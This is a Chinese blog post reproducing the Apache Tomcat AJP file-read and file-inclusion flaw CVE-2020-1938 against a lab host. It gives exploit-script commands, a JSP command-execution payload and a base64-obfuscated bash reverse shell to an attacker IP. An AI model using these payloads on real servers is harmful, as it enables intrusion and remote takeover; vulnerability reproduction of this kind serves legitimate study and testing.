CVE-2020-1938漏洞复现(文件读取文件包含)

一、影响版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x 

二、前提条件

  AJP Connector 服务端口(以上漏洞版本默认开启:8009端口)

三、环境搭建

  靶机IP:10.4.116.142

  8009服务确认:telnet 10.4.116.142 8009 

  

四、复现

  下面参考链接有git地址,下载即可

  

   任意文件读取复现:

  python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 10.4.116.142    //读取web.xml文件

  

   任意文件包含复现命令:

  python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /11.txt 10.4.116.142  

   执行whoami命令:


<% java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>

  反弹shell,自己编译bash后的代码,编译地址:http://www.jackson-t.ca/runtime-exec-payloads.html

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

  坑:可以读取到的文件11.txt文件是直接放到漏洞环境webapps/ROOT目录下的,不是本地包含上去的,所以这里想要拿到shell的条件比较苛刻。

  

   

参考链接:

https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

https://www.svenbeast.com/post/fqSI9laE8/

https://www.52pojie.cn/forum.php?mod=viewthread&tid=1118837

原文地址:https://www.cnblogs.com/hei-zi/p/13577843.html